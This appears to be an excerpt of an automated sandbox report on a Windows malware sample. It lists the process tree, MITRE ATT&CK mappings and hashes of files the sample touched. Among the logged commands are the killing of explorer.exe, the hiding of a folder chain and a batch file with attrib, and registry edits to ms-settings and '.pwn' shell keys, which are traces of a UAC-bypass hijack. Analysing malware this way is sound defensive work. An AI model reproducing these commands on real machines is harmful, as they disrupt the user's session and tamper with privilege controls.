        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1520,i,270804760874695839,13703832903875903373,262144 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:2
        7⤵
        
        PID:2856
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2212,i,1682418432118065966,548296266669040590,524288 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=2684 /prefetch:13
        7⤵
        
        PID:920
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3520,i,8652555064175253956,7227400710906822785,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
        7⤵
        
        PID:5524
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3548,i,14417379888434703047,11405371016526182127,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
        7⤵
        
        PID:5532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4060,i,8551275085739921409,11093172175490053194,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:1
        7⤵
        
        PID:5636
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4164,i,4426429801456747615,3863801718784761306,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:9
        7⤵
        
        PID:5644
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4124,i,14502437603949229894,11698171683786907728,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:1
        7⤵
        
        PID:5652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4184,i,7182744963480880625,14279989210619660550,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:9
        7⤵
        
        PID:5660
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4384,i,17084492877582461076,12425639397174791442,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:1
        7⤵
        
        PID:5716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5508,i,10294362692840416112,15273768854091777500,524288 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
        7⤵
        
        PID:2972
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4172,i,3172711081757989059,13505679684863981662,524288 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:14
        7⤵
        
        PID:5728
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5672,i,15250370211979432613,16804669297618606852,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:1
        7⤵
        
        PID:5640
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,933810133476349693,13875224193801602944,524288 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
        7⤵
        
        PID:7476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,12704698656531256035,4547468631378476358,524288 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:14
        7⤵
        
        PID:7484
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6292,i,15073785873843261598,5140621376930998134,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:1
        7⤵
        
        PID:7784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6548,i,9894322983417726115,9834681062676058414,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:1
        7⤵
        
        PID:7916
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6720,i,7027780085443113234,3914888203172076845,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:1
        7⤵
        
        PID:6636
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=6912,i,15225110871445016317,4527185325645418256,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:1
        7⤵
        
        PID:6968
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7100,i,7306197978827135149,6057093371808667944,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=7084 /prefetch:1
        7⤵
        
        PID:7200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7288,i,2181527599216453618,14200663685260162792,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=7308 /prefetch:1
        7⤵
        
        PID:7172
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7420,i,8566255646987198225,3699238127203228133,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=7480 /prefetch:1
        7⤵
        
        PID:7104
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7476,i,9914104347367628946,14746284365841057288,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=7636 /prefetch:1
        7⤵
        
        PID:8764
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=7828,i,1661952174984060905,12444665237934687329,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=7808 /prefetch:1
        7⤵
        
        PID:9100
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=7984,i,3941927770111144035,4860674797834545434,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=7852 /prefetch:1
        7⤵
        
        PID:7160
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=8340,i,13947867489191440183,6596077112908169856,2097152 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=8360 /prefetch:1
        7⤵
        
        PID:6160
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        6⤵
        Kills process with taskkill
        
        PID:8196
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6424
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v
        5⤵
        
        PID:1256
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3\4\5\6\7\8\9"
        5⤵
        Views/modifies file attributes
        
        PID:2688
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3\4\5\6\7\8"
        5⤵
        Views/modifies file attributes
        
        PID:3216
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3\4\5\6\7"
        5⤵
        Views/modifies file attributes
        
        PID:2248
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3\4\5"
        5⤵
        Views/modifies file attributes
        
        PID:924
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3\4"
        5⤵
        Views/modifies file attributes
        
        PID:3348
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3"
        5⤵
        Views/modifies file attributes
        
        PID:2264
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2"
        5⤵
        Views/modifies file attributes
        
        PID:1264
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1"
        5⤵
        Views/modifies file attributes
        
        PID:4612
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\ProgramData\Windows\1\2\3\4\5\6\7\8\9\bat.bat"
        5⤵
        Views/modifies file attributes
        
        PID:1660
- C:\Windows\system32\timeout.exe
  timeout /T 1 /NOBREAK
  2⤵
  - Delays execution with timeout.exe
  PID:4164
- C:\Windows\system32\reg.exe
  reg delete "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /f
  2⤵
  PID:1240
- C:\Windows\system32\reg.exe
  reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /f
  2⤵
  PID:4508

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4672

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5276

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

System Binary Proxy Execution

T1218

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 b25f96dc248a84f0d8d356e5d9bfceb424b9e9941087dd77b72f2fe669db9e69
MD5 0de2bb276efed479875804ec015e3c6d
SHA1 a7db48e79cd4d4a7131a005c637a4863f57c92e9
SHA512 e6e6df3e6cecfc9ebae0a32fc319002594b8277cd873abd86e83aef75878461bc646b360e9bd51925b91da034847ee25b62a20b486a000188653ffac0b93805d
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 24640276729139c8a0db228c659d9a740bc004cf44b10f00624cb79ee4f9de67
MD5 45eee04938d7616f2c036b0bb2efb6b7
SHA1 a99e69c6d5e58f675f9c21016d62eda1e0c0e8db
SHA512 bdf9d90f054a8ab0bb4544c8c7d9e0976f30f7105e975177012c69071574b0154b663eb64b4c13e99baace76528c1d424efe0f92270eb3464c4986bfc1aa489b
SSDEEP 192:pRWnj/4Wyp3/v75pAPRp2ul+98Hsb+WNnI1cUyYdTeEgVyIsnAUge:pRWnPyp3XVUXGuwuyYOe
TLSH
T10842D62ABD14697B5DCBD32AFA253B67D7F6002521D41E80D6FCCA6C15E75CC221700B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 a97bf43de841c31605e09fde53050e7d2340f71e7822457d0fad6b547fb8868a
MD5 fb288b9ba0a243eebb368910384f72e8
SHA1 a5df946a6675be9c789a8b8feb27b211c4699e1b
SHA512 65acd32522baa45f199a75e4fc809648094b5097b72cafd8bc0536a2e73171331a4adf6c6725a9e8a21c60dfdb6ca9d39af9d7ee6652b8aad950ebf72024c151
SSDEEP 384:ywjuJ7KxkXqKf/pUZNCgVLH2Hfgslu17pLuLcMwxXODuh+ErU37PHG5im:y0uJ7KxkXqKf/pUZNCgVLH2Hfgsc17p1
TLSH
T157720A677C4C9E370F94CACCD9167F4FADF5024A65E9886482FA9C2503D5BCA110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 fc914d2df231e007205c441bcf78806737a694463baf8bdf9d368b048afb9483
MD5 52a6685efab11b42a5645d4ebb5083b0
SHA1 c5f3c6199e1cdd9f353fa8e052158ac3cce28bc0
SHA512 241974a1177004341fdeb264581644ac1384233d6874b38d4bb186dbc79b559261ab77882f158074e2859c6c6c32ae4a96243cd5962a24013147c0d0ab2719cd
SSDEEP 3072:JGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMF:om7Rkm1tYpBeh2BAoF
TLSH
T1BEC3123B5D70A97759B8AB4EB08E0B1E1EF149A6C930DE92C8D85B0477FA7DC0A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 400ce2c4fafd8fb1d0e2081f3331a98f29cfab143ec5342cc3e69108d708463e
MD5 ab8898cd6cd55a9ed895e8911bca0ef3
SHA1 38c0a70e84722bf004b64a16c38c2c2f87719e9b
SHA512 55f64eaa228c44d3a1c1b1610b69758d8812caa13687dd9dadbd60c727bf95e50e85152d650a8bc65200860b930d68daf1dfa27d69b73bae19f12b03b7636ffc
SSDEEP 3072:JpGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM8:JIm7Rkm1tYpBeh2BAo8
TLSH
T122C3123B5DB4A87659B5BB1EB04E0B1F1EF149A7CD20DE92C8D85B0433EA7CC0A45934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7da5fd99a0ab66e77a1c7d418475484f3755ec6c2945de3295f2577e789df01a
MD5 39ab0f1d6d7946d873f1bb6929a4c13e
SHA1 c59f4f27654295f008fbfc2411a1ef79ea54cec0
SHA512 e470432f3c728552a9408dd90789bb6c2ace1ee0142fae2a37ea0127d228691c3150637174b3202058e5952e25dfd9256f96a6af74b77d36328dc528bee21aea
TLSH
T10BD080332F1D7041FB1D4730D463CB24277F845638478616B211C40C99754C493C5587
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 23823794b3b6267e9c083ddaf520ee01fa32d4516798865f1445a1abc4b04bbd
MD5 83250c7c4d7b6ef62bd1bf26f4c3e0c4
SHA1 e9602c3da743490459da2b565766ef634e141b1e
SHA512 ca69ff689a6f6e3b7d2372cd69b840c4bfc55765ed02240fdf7742b99373e9bfcada680b5f79ef47adfa800608d07b4a31cf3835f5c30b056283e46bca076180
TLSH
T189D012232A5D7041EB1946309463CB24266E845628468616B211840C89664C493C5587
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 1f308b8c90e36b98ef9770796b090fec76b9e36583347f0184f8ebc0bb0b3ed1
MD5 3b95caef2697beae0884a522d20c5ffc
SHA1 7ec02a257891c6b0eaa10dfc94616298a64f7747
SHA512 c069a68e4d20e106c8006511b1dc4a915c5dd59ef434260cdd706fc25b63bd625ac81dcaaaafe9cab4828e3f6058577147a45dab9c0ea4752b533036776cda37
SSDEEP 192:zZaRoyM/jK1Ml8MNr/fWs1+5s/IFEdp6lD/W6+WNO8LfY0uBHmZlIgyJ:zZa21r/fWs1+5s/IuA/bdf5uYO
TLSH
T13142D712AB346977CCDBD209BA557B53D2F90563E6900E449AFCCB1C04E66ED2213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 31KB
SHA256 55cd7aacfcb3c765b3295177235629e34edbdd58a0eaff2a9355cc77f81e9578
MD5 815b0dfbdc2ce70a54ce6ca5c3db82e5
SHA1 785c49fdc6a27dd2b584499741560521802dca58
SHA512 e619047dbe499440df84d9566b1bba5f2df5ef82bdc366cc7f83e111626a2b1d0fb070e40ac99dfe70987e726e2c3c3ed50f038a7eb7fd6ecdaabe64e5da4355
SSDEEP 768:qN/Lh8dF2KkWRmAcQ3w8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3sjLl/060liMroz2:qN/Lh8dF2KkWRmAcQ3wu1jaKsjLp0DlZ
TLSH
T1CFE22A3B650CCBBE4F840EADEC266F976ED801CB66584D5447FA894C03C73EA411A59F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 9KB
SHA256 a3d30586ceb40dae1506b07628d719d8a54414317642a71da7864757a3ef7297
MD5 23add356074a9e9a66bf08fbb3dd4398
SHA1 b9f00f5b17fef225988dd85033b396ac617a7aa6
SHA512 61af075ec81906cc9ba1c12c3b8dccf1d7abb51bd26d99c8c270e4d3148d97d468170a9497688bb2ca435a2ae86f022bb7fcafebe0513baf7b9b5d9b7ef7cb1e
SSDEEP 192:zlGNs1d940HkVEQmiU1hVRVZ0F2oP1oNjzorFBmsrcXT+2iWiqg4U8:zlGNs1740HkeHb0FptoB8FHcXS+bU8
TLSH
T15E220936A838AC775DE3B549F5873B536EA91077DD886F44E9E84B0C01DB38C274A827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 e07354c5e8ac666d53bbc66b6d6f82d44ed826f7015e207071fb1dec93cb46af
MD5 e900ce38306b9890226ec84f1b58586d
SHA1 0c9cc60a4955910b45d7ac02216ff77d87ef01cd
SHA512 c70e1f9916a7769b4600e7a422f018c9d5fab762d1cb4aafb6b75ee0d58ba55070ad15df4a33732d27ddc0c52aedefcf21c2aa0036c01899964c1cd3e2b42bd4
SSDEEP 192:qGNH6d9402QmiUyhOvOTBF2oP1oNjzorFBmsnGwW7ZU6:qGNH6740Sf2TBFptoB8FRuU6
TLSH
T19202F9366C782C6B9FF3AE49B4473B136ED5116BEA846B44DAE41B1C41DB38C2346827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 51793a34d39fb941f06df10eba65de68feb4e00af68cdba357e96e4c5c7872eb
MD5 f2f8d8cefd2d8a9ab1d5cf3695933900
SHA1 61a009eace613ba9d06a017457035e849d5f9c59
SHA512 65232f49915341eb48d0cba6e713fe7e2430c53165fe650cd80f7353cd7d3f27a4eb343a4d53ec26e6456b261723cbaa8898d0d172a324f2dcac0f679969c03e
